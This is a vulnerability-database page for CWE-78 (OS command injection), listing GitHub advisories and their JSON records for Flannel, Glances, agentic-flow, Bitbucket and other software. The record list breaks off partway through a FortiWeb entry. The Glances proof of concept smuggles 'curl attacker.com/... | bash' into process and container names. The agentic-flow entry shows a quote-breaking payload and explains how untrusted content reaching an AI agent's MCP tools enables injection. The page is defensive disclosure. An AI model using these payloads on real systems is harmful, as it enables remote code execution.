CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8272 vulnerabilities reference this CWE, most recent first.
GHSA-VCHX-5PR6-FFX2
Vulnerability from github – Published: 2026-03-27 20:28 – Updated: 2026-03-27 21:48Background
The Flannel project includes an experimental Extension backend that allows users to easily prototype new backend types. This backend uses shell commands stored in Kubernetes annotations to configure network connectivity on the node.
Note: consumers are only affected by this vulnerability if they use the experimental Extension backend. Other backends such as vxlan and wireguard are unaffected.
Vulnerability
This Extension backend is vulnerable to a command injection that allows an attacker who can set Kubernetes Node annotations to achieve root-level arbitrary command execution on every flannel node in the cluster.
The Extension backend's SubnetAddCommand and SubnetRemoveCommand receive attacker-controlled data via stdin (from the flannel.alpha.coreos.com/backend-data Node annotation). The content of this annotation is unmarshalled and piped directly to a shell command without checks.
Impact
Kubernetes clusters using Flannel with the Extension backend are affected by this vulnerability. Other backends such as vxlan and wireguard are unaffected.
Patches
This is fixed in version v0.28.2.
Workaround
If consumers cannot update to a patched version, then use Flannel with another backend such as vxlan or wireguard.
Credits
Flannel would like to thank Shachar Tal from Palo Alto Networks for reporting this vulnerability.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.28.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/flannel-io/flannel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.28.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32241"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T20:28:13Z",
"nvd_published_at": "2026-03-27T20:16:30Z",
"severity": "HIGH"
},
"details": "### Background\nThe Flannel project includes an experimental Extension backend that allows users to easily prototype new backend types. This backend uses shell commands stored in Kubernetes annotations to configure network connectivity on the node.\n\nNote: consumers are only affected by this vulnerability if they use the experimental Extension backend. Other backends such as vxlan and wireguard are unaffected.\n\n### Vulnerability\nThis Extension backend is vulnerable to a command injection that allows an attacker who can set Kubernetes Node annotations to achieve root-level arbitrary command execution on every flannel node in the cluster.\n\nThe Extension backend\u0027s SubnetAddCommand and SubnetRemoveCommand receive attacker-controlled data via stdin (from the `flannel.alpha.coreos.com/backend-data` Node annotation). The content of this annotation is unmarshalled and piped directly to a shell command without checks.\n\n### Impact\nKubernetes clusters using Flannel with the Extension backend are affected by this vulnerability. Other backends such as vxlan and wireguard are unaffected.\n\n### Patches\nThis is fixed in version v0.28.2.\n\n### Workaround \nIf consumers cannot update to a patched version, then use Flannel with another backend such as vxlan or wireguard.\n\n### Credits\nFlannel would like to thank Shachar Tal from Palo Alto Networks for reporting this vulnerability.",
"id": "GHSA-vchx-5pr6-ffx2",
"modified": "2026-03-27T21:48:12Z",
"published": "2026-03-27T20:28:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flannel-io/flannel/security/advisories/GHSA-vchx-5pr6-ffx2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32241"
},
{
"type": "WEB",
"url": "https://github.com/flannel-io/flannel/commit/08bc9a4c990ae785d2fcb448f4991b58485cd26a"
},
{
"type": "PACKAGE",
"url": "https://github.com/flannel-io/flannel"
},
{
"type": "WEB",
"url": "https://github.com/flannel-io/flannel/releases/tag/v0.28.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flannel has cross-node remote code execution via extension backend BackendData injection"
}
GHSA-VCM2-J8F4-M7FJ
Vulnerability from github – Published: 2022-08-26 00:03 – Updated: 2025-10-22 00:32Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. This vulnerability was reported via our Bug Bounty Program by TheGrandPew.
{
"affected": [],
"aliases": [
"CVE-2022-36804"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-25T06:15:00Z",
"severity": "HIGH"
},
"details": "Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. This vulnerability was reported via our Bug Bounty Program by TheGrandPew.",
"id": "GHSA-vcm2-j8f4-m7fj",
"modified": "2025-10-22T00:32:35Z",
"published": "2022-08-26T00:03:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36804"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/BSERV-13438"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-36804"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/168470/Bitbucket-Git-Command-Injection.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/171453/Bitbucket-7.0.0-Remote-Command-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VCR2-XX88-49Q8
Vulnerability from github – Published: 2024-01-08 15:30 – Updated: 2025-11-04 21:30Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns decompression in the vcd2vzt utility.
{
"affected": [],
"aliases": [
"CVE-2023-35962"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-08T15:15:11Z",
"severity": "HIGH"
},
"details": "Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns decompression in the `vcd2vzt` utility.",
"id": "GHSA-vcr2-xx88-49q8",
"modified": "2025-11-04T21:30:57Z",
"published": "2024-01-08T15:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35962"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00007.html"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1786"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1786"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VCV2-Q258-WRG7
Vulnerability from github – Published: 2026-03-16 16:26 – Updated: 2026-03-19 21:05Summary
The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.
Details
The action execution flow:
- Admin configures an action in glances.conf (documented feature):
[cpu]
critical_action=echo "High CPU on {{name}}" | mail admin@example.com
- When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
-
The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).
-
In glances/actions.py:77-78, the Mustache library renders the template:
if chevron_tag:
cmd_full = chevron.render(cmd, mustache_dict)
- The rendered command is passed to secure_popen() (glances/actions.py:84):
ret = secure_popen(cmd_full)
The secure_popen vulnerability (glances/secure.py:17-30):
def secure_popen(cmd):
ret = ""
for c in cmd.split("&&"):
ret += __secure_popen(c)
return ret
And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.
Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:
if stdout_redirect is not None:
with open(stdout_redirect, "w") as stdout_redirect_file:
stdout_redirect_file.write(ret)
PoC
Scenario 1: Command injection via pipe in process name
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log
# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
# 3. When the process triggers a critical alert, secure_popen splits by |:
# Command 1: echo "ALERT: innocent
# Command 2: curl attacker.com/evil.sh <-- INJECTED
# Command 3: bash used 99% CPU" >> /tmp/alerts.log
Scenario 2: Command chain via && in container name
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream
# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
# 3. secure_popen splits by &&:
# Command 1: docker stats web
# Command 2: curl attacker.com/rev.sh | bash <-- INJECTED
# Command 3: echo --no-stream
Impact
-
Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
-
Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
-
Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.
-
Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.
Recommended Fix
Sanitize Mustache-rendered values before secure_popen processes them:
# glances/actions.py
def _escape_for_secure_popen(value):
"""Escape characters that secure_popen treats as operators."""
if not isinstance(value, str):
return value
value = value.replace("&&", " ")
value = value.replace("|", " ")
value = value.replace(">", " ")
return value
def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
for cmd in commands:
if chevron_tag:
if mustache_dict:
safe_dict = {
k: _escape_for_secure_popen(v) if isinstance(v, str) else v
for k, v in mustache_dict.items()
}
else:
safe_dict = mustache_dict
cmd_full = chevron.render(cmd, safe_dict)
else:
cmd_full = cmd
...
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32608"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:26:22Z",
"nvd_published_at": "2026-03-18T07:16:21Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.\n\n## Details\n\n**The action execution flow:**\n\n1. Admin configures an action in glances.conf (documented feature):\n\n```ini\n[cpu]\ncritical_action=echo \"High CPU on {{name}}\" | mail admin@example.com\n```\n\n2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):\n\n```python\nself.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n```\n\n3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).\n\n4. In glances/actions.py:77-78, the Mustache library renders the template:\n\n```python\nif chevron_tag:\n cmd_full = chevron.render(cmd, mustache_dict)\n```\n\n5. The rendered command is passed to secure_popen() (glances/actions.py:84):\n\n```python\nret = secure_popen(cmd_full)\n```\n\n**The secure_popen vulnerability** (glances/secure.py:17-30):\n\n```python\ndef secure_popen(cmd):\n ret = \"\"\n for c in cmd.split(\"\u0026\u0026\"):\n ret += __secure_popen(c)\n return ret\n```\n\nAnd __secure_popen() (glances/secure.py:33-77) splits by \u003e and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by \u0026\u0026, \u003e, and | characters, then executes each segment as a separate subprocess.\n\nAdditionally, the redirect handler at line 69-72 writes to arbitrary file paths:\n\n```python\nif stdout_redirect is not None:\n with open(stdout_redirect, \"w\") as stdout_redirect_file:\n stdout_redirect_file.write(ret)\n```\n\n## PoC\n\n**Scenario 1: Command injection via pipe in process name**\n\n```bash\n# 1. Admin configures processlist action in glances.conf:\n# [processlist]\n# critical_action=echo \"ALERT: {{name}} used {{cpu_percent}}% CPU\" \u003e\u003e /tmp/alerts.log\n\n# 2. Attacker creates a process with a crafted name containing a pipe:\ncp /bin/sleep \"/tmp/innocent|curl attacker.com/evil.sh|bash\"\n\"/tmp/innocent|curl attacker.com/evil.sh|bash\" 9999 \u0026\n\n# 3. When the process triggers a critical alert, secure_popen splits by |:\n# Command 1: echo \"ALERT: innocent\n# Command 2: curl attacker.com/evil.sh \u003c-- INJECTED\n# Command 3: bash used 99% CPU\" \u003e\u003e /tmp/alerts.log\n```\n\n**Scenario 2: Command chain via \u0026\u0026 in container name**\n\n```bash\n# 1. Admin configures containers action:\n# [containers]\n# critical_action=docker stats {{name}} --no-stream\n\n# 2. Attacker names a Docker container with \u0026\u0026 injection:\ndocker run --name \"web \u0026\u0026 curl attacker.com/rev.sh | bash \u0026\u0026 echo \" nginx\n\n# 3. secure_popen splits by \u0026\u0026:\n# Command 1: docker stats web\n# Command 2: curl attacker.com/rev.sh | bash \u003c-- INJECTED\n# Command 3: echo --no-stream\n```\n\n## Impact\n\n- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).\n\n- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.\n\n- **Arbitrary file write:** The \u003e redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.\n\n- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.\n\n## Recommended Fix\n\nSanitize Mustache-rendered values before secure_popen processes them:\n\n```python\n# glances/actions.py\n\ndef _escape_for_secure_popen(value):\n \"\"\"Escape characters that secure_popen treats as operators.\"\"\"\n if not isinstance(value, str):\n return value\n value = value.replace(\"\u0026\u0026\", \" \")\n value = value.replace(\"|\", \" \")\n value = value.replace(\"\u003e\", \" \")\n return value\n\ndef run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n for cmd in commands:\n if chevron_tag:\n if mustache_dict:\n safe_dict = {\n k: _escape_for_secure_popen(v) if isinstance(v, str) else v\n for k, v in mustache_dict.items()\n }\n else:\n safe_dict = mustache_dict\n cmd_full = chevron.render(cmd, safe_dict)\n else:\n cmd_full = cmd\n ...\n```",
"id": "GHSA-vcv2-q258-wrg7",
"modified": "2026-03-19T21:05:21Z",
"published": "2026-03-16T16:26:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32608"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Glances has a Command Injection via Process Names in Action Command Templates"
}
GHSA-VCV2-R9JH-99M5
Vulnerability from github – Published: 2026-06-19 15:12 – Updated: 2026-06-19 15:12Summary
agentic-flow versions <= 2.0.13 MCP server tools interpolated attacker-influenceable tool parameters (e.g. agent, task, name, language, agentdb arguments) directly into shell command strings passed to execSync(). A malicious value reaching any of the affected MCP tools could break out of the surrounding double-quoted argument and execute arbitrary OS commands with the privileges of the user running the MCP server.
This was a partial-fix gap: prior commit 6a06854 (#158) fixed CWE-78 elsewhere in the project but missed the MCP server files entirely.
Impact
Any MCP tool argument that the AI agent treats as data but the implementation interpolates into a shell command string becomes a command-injection vector. In MCP deployments where untrusted content (web pages, files, third-party tool output) is processed by the agent, this is reachable without direct attacker access to the host. The HTTP/SSE transports (http-sse.ts, http-streaming-updated.ts) expose the same sinks without authentication or Origin/Host validation, which may raise the effective severity in any deployment that binds them to a reachable network interface.
Affected components
src/mcp/standalone-stdio.ts—agentic_flow_agent,agentic_flow_create_agent,agentic_flow_list_all_agents,agentic_flow_agent_info,agentic_flow_check_conflicts,agentic_flow_optimize_model,agentic_flow_list_agents,agent_booster_edit_file,agent_booster_batch_edit,agent_booster_parse_markdown,agentdb_stats,agentdb_pattern_store,agentdb_pattern_search,agentdb_pattern_statssrc/mcp/fastmcp/servers/claude-flow-sdk.tssrc/mcp/fastmcp/servers/stdio-full.tssrc/mcp/fastmcp/servers/http-streaming-updated.tssrc/mcp/fastmcp/servers/http-sse.tssrc/mcp/fastmcp/servers/poc-stdio.tssrc/mcp/fastmcp/tools/agent/{execute,list,parallel}.tssrc/mcp/fastmcp/tools/swarm/orchestrate.tssrc/mcp/fastmcp/tools/hooks/pretrain.ts(depth path only)
Proof of Concept
// Pre-fix (standalone-stdio.ts, agentic_flow_agent)
let cmd = `npx --yes agentic-flow --agent "${agent}" --task "${task}"`;
const result = execSync(cmd, { encoding: 'utf-8', ... });
Invoking the MCP tool with:
{
"agent": "coder",
"task": "x\"; touch /tmp/INJECTED; id > /tmp/rce.txt; echo \""
}
produces, after interpolation:
npx --yes agentic-flow --agent "coder" --task "x"; touch /tmp/INJECTED; id > /tmp/rce.txt; echo ""
When execSync hands that to /bin/sh -c, the shell parses three commands: the truncated npx, then touch /tmp/INJECTED, then id > /tmp/rce.txt; echo "". The marker file /tmp/INJECTED is created and the user's id output is written to /tmp/rce.txt.
Patches
Fixed in agentic-flow@2.0.14 — every affected call site rewritten to use execFileSync(file, argv, { shell: false }) so attacker-controlled argv elements are passed straight to execve(2) without shell parsing.
Fix PR: ruvnet/agentic-flow#170 (merged at 0c2ec96)
A regression test (tests/security/cwe-78-mcp-execsync.test.ts) was added that statically scans every src/mcp/**/*.ts file and fails the build if any new execSync() call is reintroduced outside of a documented exemption, plus a behavioural smoke check that the canonical PoC payload remains inert when passed as an argv element to execFileSync.
Workarounds
Upgrade to agentic-flow >= 2.0.14. There is no in-product configuration that mitigates this without upgrading.
Downstream pin
The ruflo / claude-flow / @claude-flow/cli packages bumped from 3.12.3 → 3.12.4 to pull the patched agentic-flow:
ruflo@3.12.4claude-flow@3.12.4@claude-flow/cli@3.12.4
End users running any of npx ruflo@latest, npx claude-flow@latest, or npx @claude-flow/cli@latest are pinned to the fixed version.
Credit
Reported by hackchang via a well-scoped red-team report package (npm_agentic-flow_report_package_20260618_163017.zip) that included a sink inventory, a minimized PoC payload, and a clear explanation of why this was a partial-fix gap rather than intended behaviour. The sink inventory directly drove the single-grep pass that closed every reachable call site; the PoC payload became the behavioural smoke test that proves the canonical attack stays inert as an argv element.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.13"
},
"package": {
"ecosystem": "npm",
"name": "agentic-flow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T15:12:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`agentic-flow` versions `\u003c= 2.0.13` MCP server tools interpolated attacker-influenceable tool parameters (e.g. `agent`, `task`, `name`, `language`, `agentdb` arguments) directly into shell command strings passed to `execSync()`. A malicious value reaching any of the affected MCP tools could break out of the surrounding double-quoted argument and execute arbitrary OS commands with the privileges of the user running the MCP server.\n\nThis was a partial-fix gap: prior commit `6a06854` (#158) fixed CWE-78 elsewhere in the project but missed the MCP server files entirely.\n\n## Impact\n\nAny MCP tool argument that the AI agent treats as data but the implementation interpolates into a shell command string becomes a command-injection vector. In MCP deployments where untrusted content (web pages, files, third-party tool output) is processed by the agent, this is reachable without direct attacker access to the host. The HTTP/SSE transports (`http-sse.ts`, `http-streaming-updated.ts`) expose the same sinks without authentication or Origin/Host validation, which may raise the effective severity in any deployment that binds them to a reachable network interface.\n\n## Affected components\n\n- `src/mcp/standalone-stdio.ts` \u2014 `agentic_flow_agent`, `agentic_flow_create_agent`, `agentic_flow_list_all_agents`, `agentic_flow_agent_info`, `agentic_flow_check_conflicts`, `agentic_flow_optimize_model`, `agentic_flow_list_agents`, `agent_booster_edit_file`, `agent_booster_batch_edit`, `agent_booster_parse_markdown`, `agentdb_stats`, `agentdb_pattern_store`, `agentdb_pattern_search`, `agentdb_pattern_stats`\n- `src/mcp/fastmcp/servers/claude-flow-sdk.ts`\n- `src/mcp/fastmcp/servers/stdio-full.ts`\n- `src/mcp/fastmcp/servers/http-streaming-updated.ts`\n- `src/mcp/fastmcp/servers/http-sse.ts`\n- `src/mcp/fastmcp/servers/poc-stdio.ts`\n- `src/mcp/fastmcp/tools/agent/{execute,list,parallel}.ts`\n- `src/mcp/fastmcp/tools/swarm/orchestrate.ts`\n- `src/mcp/fastmcp/tools/hooks/pretrain.ts` (depth path only)\n\n## Proof of Concept\n\n```ts\n// Pre-fix (standalone-stdio.ts, agentic_flow_agent)\nlet cmd = `npx --yes agentic-flow --agent \"${agent}\" --task \"${task}\"`;\nconst result = execSync(cmd, { encoding: \u0027utf-8\u0027, ... });\n```\n\nInvoking the MCP tool with:\n\n```json\n{\n \"agent\": \"coder\",\n \"task\": \"x\\\"; touch /tmp/INJECTED; id \u003e /tmp/rce.txt; echo \\\"\"\n}\n```\n\nproduces, after interpolation:\n\n```\nnpx --yes agentic-flow --agent \"coder\" --task \"x\"; touch /tmp/INJECTED; id \u003e /tmp/rce.txt; echo \"\"\n```\n\nWhen `execSync` hands that to `/bin/sh -c`, the shell parses three commands: the truncated `npx`, then `touch /tmp/INJECTED`, then `id \u003e /tmp/rce.txt; echo \"\"`. The marker file `/tmp/INJECTED` is created and the user\u0027s `id` output is written to `/tmp/rce.txt`.\n\n## Patches\n\nFixed in [`agentic-flow@2.0.14`](https://www.npmjs.com/package/agentic-flow/v/2.0.14) \u2014 every affected call site rewritten to use `execFileSync(file, argv, { shell: false })` so attacker-controlled argv elements are passed straight to `execve(2)` without shell parsing.\n\nFix PR: ruvnet/agentic-flow#170 (merged at `0c2ec96`)\n\nA regression test (`tests/security/cwe-78-mcp-execsync.test.ts`) was added that statically scans every `src/mcp/**/*.ts` file and fails the build if any new `execSync()` call is reintroduced outside of a documented exemption, plus a behavioural smoke check that the canonical PoC payload remains inert when passed as an argv element to `execFileSync`.\n\n## Workarounds\n\nUpgrade to `agentic-flow \u003e= 2.0.14`. There is no in-product configuration that mitigates this without upgrading.\n\n## Downstream pin\n\nThe `ruflo` / `claude-flow` / `@claude-flow/cli` packages bumped from `3.12.3` \u2192 `3.12.4` to pull the patched `agentic-flow`:\n\n- `ruflo@3.12.4`\n- `claude-flow@3.12.4`\n- `@claude-flow/cli@3.12.4`\n\nEnd users running any of `npx ruflo@latest`, `npx claude-flow@latest`, or `npx @claude-flow/cli@latest` are pinned to the fixed version.\n\n## Credit\n\nReported by **hackchang** via a well-scoped red-team report package (`npm_agentic-flow_report_package_20260618_163017.zip`) that included a sink inventory, a minimized PoC payload, and a clear explanation of why this was a partial-fix gap rather than intended behaviour. The sink inventory directly drove the single-grep pass that closed every reachable call site; the PoC payload became the behavioural smoke test that proves the canonical attack stays inert as an argv element.",
"id": "GHSA-vcv2-r9jh-99m5",
"modified": "2026-06-19T15:12:58Z",
"published": "2026-06-19T15:12:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruvnet/agentic-flow/security/advisories/GHSA-vcv2-r9jh-99m5"
},
{
"type": "WEB",
"url": "https://github.com/ruvnet/agentic-flow/issues/169"
},
{
"type": "WEB",
"url": "https://github.com/ruvnet/ruflo/issues/2414"
},
{
"type": "WEB",
"url": "https://github.com/ruvnet/agentic-flow/pull/170"
},
{
"type": "WEB",
"url": "https://github.com/ruvnet/ruflo/pull/2415"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruvnet/agentic-flow"
},
{
"type": "WEB",
"url": "https://github.com/ruvnet/ruflo/releases/tag/v3.12.4"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/agentic-flow/v/2.0.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Agentic-Flow: OS Command Injection in agentic-flow MCP server tools via unsanitized tool-parameter interpolation into execSync"
}
GHSA-VCVF-V255-3H2M
Vulnerability from github – Published: 2026-01-20 18:31 – Updated: 2026-01-20 18:31NVIDIA Nsight Systems for Linux contains a vulnerability in the .run installer, where an attacker could cause an OS command injection by supplying a malicious string to the installation path. A successful exploit of this vulnerability might lead to escalation of privileges, code execution, data tampering, denial of service, and information disclosure.
{
"affected": [],
"aliases": [
"CVE-2025-33230"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T18:16:02Z",
"severity": "HIGH"
},
"details": "NVIDIA Nsight Systems for Linux contains a vulnerability in the .run installer, where an attacker could cause an OS command injection by supplying a malicious string to the installation path. A successful exploit of this vulnerability might lead to escalation of privileges, code execution, data tampering, denial of service, and information disclosure.",
"id": "GHSA-vcvf-v255-3h2m",
"modified": "2026-01-20T18:31:57Z",
"published": "2026-01-20T18:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33230"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5755"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-33230"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VCWV-2759-43Q3
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2025-10-22 00:32Accellion FTA 9_12_411 and earlier is affected by OS command execution via a local web service call. The fixed version is FTA_9_12_416 and later.
{
"affected": [],
"aliases": [
"CVE-2021-27102"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-16T21:15:00Z",
"severity": "HIGH"
},
"details": "Accellion FTA 9_12_411 and earlier is affected by OS command execution via a local web service call. The fixed version is FTA_9_12_416 and later.",
"id": "GHSA-vcwv-2759-43q3",
"modified": "2025-10-22T00:32:03Z",
"published": "2022-05-24T17:42:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27102"
},
{
"type": "WEB",
"url": "https://github.com/accellion/CVEs/blob/main/CVE-2021-27102.txt"
},
{
"type": "WEB",
"url": "https://www.accellion.com/products/fta"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-27102"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VCXX-P2XF-CF5W
Vulnerability from github – Published: 2025-08-12 21:31 – Updated: 2025-08-12 21:31An improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability [CWE-78] in Fortinet FortiWeb version 7.6.0 through 7.6.3, 7.4.0 through 7.4.7, 7.2.0 through 7.2.10 and before 7.0.10 allows an authenticated privileged attacker to execute unauthorized code or commands via crafted CLI commands
{
"affected": [],
"aliases": [
"CVE-2025-27759"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T19:15:28Z",
"severity": "MODERATE"
},
